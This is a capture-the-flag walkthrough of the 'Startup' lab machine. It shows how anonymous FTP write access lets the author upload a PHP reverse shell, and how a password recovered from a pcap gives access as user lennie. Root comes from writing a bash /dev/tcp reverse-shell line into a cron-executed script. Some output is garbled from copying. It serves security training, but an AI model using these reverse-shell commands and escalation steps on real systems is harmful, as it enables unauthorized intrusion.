Startup (Easy)

Nmap

```
sudo nmap -sV -sC -Pn -vv -T4 -oN nmap.txt 10.10.174.132
```

```
PORT STATE SERVICE REASON
                                VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-syst:
   STAT:
| FTP server status:
      Connected to 10.8.91.8
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      At session startup, client count was 4
      vsFTPd 3.0.3 - secure, fast, stable
_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
writeable]
_-rw-r--r-- 1 0
                                     208 Nov 12 2020 notice.txt
                       0
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu
Linux; protocol 2.0)
ssh-hostkey:
   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDAzds8QxN5Q2TsERsJ98huSiuasmToUDi9JYWVegfTMV4F
n7t6/2ENm/9uYblUv+pLBnYeGo3XQGV23foZIIVMlLaC6ulYwuD0xy6KtHauVMlPRvYQd77xSCUq
cM1ov9d00Y2y5eb7S6E7zIQCGFhm/jj5ui6bcr6wAIYtfpJ8UXnlHg5f/mJgwwAteQoUtxVgQWPs
mfcmWvhreJ0/BF0kZJqi6uJUf0ZHoUm4woJ15UYioryT6ZIw/ORL6l/LXy2RlhySNWi6P9y8UXrg
KdViIlNCun7Cz80Cfc16za/8cdlthD1czxm4m5hSVwYYOK3C7mDZ0/jung0/AJzl48X1
   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOKJ0cuq3nTYxoHlMcS3xvNi
sI5sKawbZHhAamhgDZTM989wIUonhYU19Jty5+fUoJKbaPIEBeMmA32XhHy+Y+E=
   256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIPnFr/4W5WTyh9XBSykso6eS06tE0Aio3gWM8Zdsckwo
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
http-methods:
Supported Methods: POST OPTIONS GET HEAD
```

```
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

FTP

I connect to FTP as the user anonymous and with no password.

```
Connected to 10.10.174.132
Connected to 10.10.174.132.
Connected to 10.174.132.
Connected to 10.17
```

I downloaded this files but nothing came out of it. But i found something interesting with the ftp folder. We have all the rights on it.

Web Enumeration

feroxbuster -u http://10.10.174.132/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Index of /files

<u>Name</u>	Last modified	Size Description
Parent Directory		-
<u>ftp/</u>	2020-11-12 04:53	-
💁 <u>important.jpg</u>	2020-11-12 04:02	246K
notice.txt	2020-11-12 04:53	208

Apache/2.4.18 (Ubuntu) Server at 10.10.174.132 Port 80

I upload a php reverse shell. I upload the reverse shell from pentestMonkey

(https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php 2)

```
ftp> cd ftp
250 Directory successfully changed.
ftp> clear
?Invalid command.
ftp> ls
229 Entering Extended Passive Mode (|||17062|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||47161|)
150 Ok to send data.
100% | *****************************
226 Transfer complete.
5491 bytes sent in 00:00 (11.30 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||21422|)
150 Here comes the directory listing.
-rwxrwxr-x
                        118
                                     5491 Oct 12 18:03 shell.php
             1 112
226 Directory send OK.
```

Foothold

Index of /files/ftp

Name Last modified Size Description



shell.php

2024-10-12 18:03 5.4K

Apache/2.4.18 (Ubuntu) Server at 10.10.174.132 Port 80

We listen to the 9001 port with netcat and we are connected as www-data

I stabilize my shell with python3

The answer to the first question is in the /recipe.txt file

Lennie's password

We have a file on the /incidents folder

```
www-data@startup:/incidents$ ls -la
total 40
drwxr-xr-x 2 www-data www-data 4096 Nov 12 2020 .
drwxr-xr-x 25 root root 4096 Oct 12 17:35 ..
-rwxr-xr-x 1 www-data www-data 31224 Nov 12 2020 suspicious.pcapng
www-data@startup:/incidents$
```

I downloaded it to my machine and opened it with wireshark

At tcp.stream eq 7

```
lennie
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 3 incorrect password attempts
www-data@startup:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
```

There is password here.

I think it's the password of the user lennie

```
www-data@startup:/incidents$ su lennie
Password:
lennie@startup:/incidents$ id
uid=1002(lennie) gid=1002(lennie) groups=1002(lennie)
lennie@startup:/incidents$ ■
```

And boom we're connected as lennie

```
lennie@startup:/incidents$ cd
lennie@startup:~$ ls
Documents scripts user.txt
lennie@startup:~$ cat user.txt
lennie@startup:~$
```

Privilege Escalation

```
In the /home/lennie/scripts folder we have two files planer.sh and startup_list.txt
lennie@startup:~/scripts$ ls -la
total 16
drwxr-xr-x 2 root
                    root
                           4096 Nov 12 2020 .
      ---- 4 lennie lennie 4096 Oct 12 18:15 ..
-rwxr-xr-x 1 root
                    root
                              77 Nov 12 2020 planner.sh
                              1 Oct 12 18:37 startup_list.txt
-rw-r--r-- 1 root
                    root
lennie@startup:~/scripts$ ls -la
total 16
drwxr-xr-x 2 root
                    root
                           4096 Nov 12 2020 .
drwx----- 4 lennie lennie 4096 Oct 12 18:15 ..
-rwxr-xr-x 1 root
                              77 Nov 12
                                         2020 planner.sh
                    root
                              1 Oct 12 18:38 startup_list.txt
-rw-r--r-- 1 root
                    root
lennie@startup:~/scripts$
```

We can see that there is an update of the files every one minute

First planer.sh executed as root prints and redirects the content of the LIST variable. Then it executes the file then it executes the file /etc/print.sh

```
lennie@startup:~/scripts$ cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
```

The print.sh file shows 'well done'

```
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$ ls -l /etc/print.sh
-rwx——— 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
lennie@startup:~/scripts$ ■
```

I put my reverse shell in the /etc/print.sh file.

```
#!/bin/bash
bash -i >& /dev/tcp/10.8.91.8/4444 0>&1
~
~
~
```

We wait 1 minute and boom we have our reverse shell

```
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.174.132] 57840
bash: cannot set terminal process group (2063): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@startup:~# ■
```

We are now root so we can retrieve the root flag

```
root@startup:~# ls
ls
root.txt
root@startup:~# cat root.txt
cat root.txt
root@startup:~#
```